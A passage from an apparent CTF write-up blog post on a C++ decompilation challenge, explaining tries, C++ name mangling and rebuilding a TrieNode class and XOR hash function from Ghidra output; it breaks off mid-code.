&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;If you never trie, you will never know.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 575&quot; alt=&quot;Do or do not, there is no trie!&quot; title=&quot;If you never trie, you will never know.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let’s briefly review tries. What is a trie?&lt;/p&gt;
&lt;p&gt;Tries, or prefix trees, are data structures commonly used to efficiently store and retrieve strings. They are particularly useful for tasks like autocomplete or spell checking. The key idea behind tries is that each node in the tree represents a &lt;em&gt;prefix of a string&lt;/em&gt;, and the edges represent the &lt;em&gt;characters&lt;/em&gt; that can follow that prefix.&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;A trie containing the words: *and*, *ant*, *dad*, and *do*.&quot; href=&quot;https://trebledj.me/img/Trie-1-1920w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60 alpha-img&quot; src=&quot;https://trebledj.me/img/Trie-1-1920w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1920 / 1080&quot; alt=&quot;A trie containing the words: *and*, *ant*, *dad*, and *do*.&quot; title=&quot;A trie containing the words: *and*, *ant*, *dad*, and *do*.&quot; srcset=&quot;https://trebledj.me/img/Trie-1-256w.webp 256w, https://trebledj.me/img/Trie-1-512w.webp 512w, https://trebledj.me/img/Trie-1-1024w.webp 1024w, https://trebledj.me/img/Trie-1-1920w.webp 1920w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1920px&quot; /&gt;&lt;/a&gt;
&lt;sup&gt;Example of trie containing the words &lt;em&gt;and&lt;/em&gt;, &lt;em&gt;ant&lt;/em&gt;, &lt;em&gt;dad&lt;/em&gt;, and &lt;em&gt;do&lt;/em&gt;. Each edge represents a letter to the next prefix. (&lt;a href=&quot;https://www.boardinfinity.com/blog/trie-data-structure/&quot;&gt;Source&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In terms of matching an exact string, the complexity is similar to a hashmap: &lt;code&gt;O(n)&lt;/code&gt; insert/search time, w.r.t. the length of the string. But a hashmap is typically faster as it requires fewer operations.&lt;/li&gt;
&lt;li&gt;The power of tries comes with alphabetical ordering and prefix search (which is why they’re useful for autocomplete). Hashmaps can&#39;t do this.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;setting-up-the-structure&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#setting-up-the-structure&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Setting Up the Structure&lt;/h2&gt;
&lt;h3 id=&quot;demangling-names&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#demangling-names&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Demangling Names&lt;/h3&gt;
&lt;p&gt;Let’s start by demangling functions! This way, we’ll roughly know its name and signature—big clues, from a &lt;a class=&quot;jtag&quot; href=&quot;https://trebledj.me/tags/functional/&quot;&gt;functional&lt;/a&gt; viewpoint.&lt;/p&gt;
&lt;p&gt;In C++, function and class names are &lt;em&gt;&lt;strong&gt;mangled&lt;/strong&gt;&lt;/em&gt;. So instead of using sensible names like &lt;code&gt;TrieNode::mix&lt;/code&gt;, &lt;code&gt;std::string::substr&lt;/code&gt;, and &lt;code&gt;std::endl&lt;/code&gt;, the compiler stores hellish sequences like
&lt;code&gt;_ZN8TrieNode3mixEc&lt;/code&gt;, &lt;code&gt;_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6substrEmm&lt;/code&gt;, and &lt;code&gt;_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_&lt;/code&gt;. (Yes, &lt;code&gt;endl&lt;/code&gt; is a function.)&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Why do C++ compilers behave this way?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;This has to do with function overloading. For example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;C++ function overloading in action. Same name. Different parameters.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;With function overloading, names are reused. Now if the names are the same, how can the linker find and call the right function? The compiler solves this by encoding a function’s signature into its name, so that all names are unique. (We don&#39;t have this problem in plain old C, because function overloading isn’t even a concept!)&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;To demangle these cryptic monstrosities, we can throw them into online tools (e.g. demangler.com&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;) or just use a C++-enabled decompiler (e.g. Ghidra) which automatically demangles names.&lt;/p&gt;
&lt;h3 id=&quot;classy-types&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#classy-types&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Classy Types&lt;/h3&gt;
&lt;p&gt;When discussing C++, it’s hard to avoid the topic of classes. These supercharged C-structs are the basis of any object-oriented program.&lt;/p&gt;
&lt;p&gt;Looking at the demangled function names, we can identify the &lt;code&gt;TrieNode&lt;/code&gt; class. What next?&lt;/p&gt;
&lt;p&gt;There are two parts to reversing a class:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Methods/functions. How does the class behave? What does it do?
&lt;ul&gt;
&lt;li&gt;These are easy to find due to the prefix (e.g. &lt;code&gt;TrieNode::&lt;/code&gt;). Reversing their content is a different question, which we&#39;ll address in upcoming sections.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Members. What comprises a class? What is its state?
&lt;ul&gt;
&lt;li&gt;This is a tricky question to answer, as variable names are usually stripped. Careful analysis of reads/writes is required (&lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;cross references&quot;&gt;xrefs&lt;/abbr&gt; are useful!).
&lt;ul&gt;
&lt;li&gt;Is it set to only 0 or 1? And used in conditions? Probably a boolean.&lt;/li&gt;
&lt;li&gt;Is it compared to other numbers a lot and used near loops? Probably an integer representing size.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;By peeking at the &lt;code&gt;TrieNode&lt;/code&gt; constructor, we figure out that &lt;code&gt;TrieNode&lt;/code&gt; has three members.
&lt;ol&gt;
&lt;li&gt;An &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;std::unordered_map&lt;char, TrieNode*&gt;&quot;&gt;unordered map (aka hashmap) from chars to nodes&lt;/abbr&gt;. Size: 0x38 bytes. As this resembles the edges of the node, we&#39;ll call variable this &lt;code&gt;next_node&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A bool. Size: 1 byte.&lt;/li&gt;
&lt;li&gt;Another bool. Size: 1 byte.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Overall, our structure should resemble:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; std&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// FYI, this is discouraged in actual software engineering: https://stackoverflow.com/q/1452721/10239789.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;wordhash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;TrieNode&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// Members.&lt;/span&gt;
	unordered_map&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; bool1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; bool2&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// Constructor.&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// Initialise variables. `next_node`&#39;s constructor is called automatically.&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;TrieNode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; bool1&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; bool2&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// Member Initialiser List: https://cplusplus.com/articles/1vbCpfjN/&lt;/span&gt;

	&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Return types are unknown, because most compilers don&#39;t mangle them with the name. For now, they&#39;ve been substituted with &lt;code&gt;void&lt;/code&gt; and left as an exercise for the reader.&lt;/sup&gt;&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;On Struct vs. Class&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Structs are public by default. Classes are private by default.&lt;/p&gt;
&lt;p&gt;Public/private are concepts which fall under &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;object-oriented programming&quot;&gt;OOP&lt;/abbr&gt; &lt;em&gt;&lt;strong&gt;encapsulation&lt;/strong&gt;&lt;/em&gt;. With encapsulation, we bundle data and only expose certain API methods for public users, whilst hiding implementation. With a cyber analogy, this is not unlike exposing certain ports (HTTP/HTTPS) on a machine, and protecting other ports with a firewall.&lt;/p&gt;
&lt;p&gt;I chose to use &lt;code&gt;struct&lt;/code&gt; here because I&#39;m lazy and want to make members public.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; Some of them are accessed directly in &lt;code&gt;main&lt;/code&gt; anyway.&lt;/p&gt;
&lt;p&gt;Read more:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/36917400/10239789&quot;&gt;StackOverflow: Struct vs. Class&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.softwaretestinghelp.com/encapsulation-in-cpp/&quot;&gt;Encapsulation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id=&quot;reversing&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#reversing&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Reversing&lt;/h2&gt;
&lt;h3 id=&quot;plagiarise-a-decompiler&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#plagiarise-a-decompiler&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Plagiarise a Decompiler&lt;/h3&gt;
&lt;p&gt;Now that we have a basic structure set up, it&#39;s time to dig deeper. We need to go from binary to source code. Hmm… that sounds like a job for… a decompiler!&lt;/p&gt;
&lt;p&gt;So let’s start with that! We can &lt;s&gt;plagiarise&lt;/s&gt; copy output from Ghidra and rewrite it to make programmatic sense.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Exercise&lt;/strong&gt;: Reverse the &lt;code&gt;wordhash&lt;/code&gt; function.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Solution&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;wordhash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; hash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        hash &lt;span class=&quot;token operator&quot;&gt;^=&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; hash&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is a simple hash function which &lt;em&gt;xors&lt;/em&gt; all characters in a string. It&#39;s not a very &lt;em&gt;effective&lt;/em&gt; hasher, because it&#39;s prone to &lt;a href=&quot;https://en.wikipedia.org/wiki/Hash_collision&quot;&gt;collisions&lt;/a&gt; (also it&#39;s not &lt;a href=&quot;https://isocpp.org/wiki/faq/const-correctness&quot;&gt;const-correct&lt;/a&gt;). But eh, this is just for a CTF challenge.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;implement-the-data-structure&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#implement-the-data-structure&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Implement the Data Structure&lt;/h3&gt;
&lt;p&gt;Time to implement the core of the program: the TrieNode class. As before, we can refer to Ghidra&#39;s output.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Exercise&lt;/strong&gt;: Reverse &lt;code&gt;TrieNode::insert&lt;/code&gt;, &lt;code&gt;TrieNode::search&lt;/code&gt;, and &lt;code&gt;TrieNode::mix&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We can make good use of Ghidra&#39;s Rename, Retype, and Edit Function Signature tools to clean up the code.&lt;/li&gt;
&lt;li&gt;Ghidra sometimes loads incorrect function signatures (e.g. for &lt;code&gt;operator[]&lt;/code&gt;). You may wish to edit the signature so that it displays arguments properly.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&#39;ll leave the first two functions as an exercise for the reader. :)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mix()&lt;/code&gt; seems to be a total oddball, as tries don&#39;t usually have such a function.&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Ghidra decompilation of the TrieNode::mix function.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1536w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1536w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1536 / 1098&quot; alt=&quot;Ghidra decompilation of the TrieNode::mix function.&quot; title=&quot;Ghidra decompilation of the TrieNode::mix function.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/hkcert23/assets/trienode-mix-1536w.webp 1536w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1536px&quot; /&gt;&lt;/a&gt;
&lt;sup&gt;Ghidra decompilation of &lt;code&gt;TrieNode::mix()&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;&lt;code&gt;TrieNode::mix&lt;/code&gt;: Possible Solution&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	unordered_map&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; new_map&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// For each edge...&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pair &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
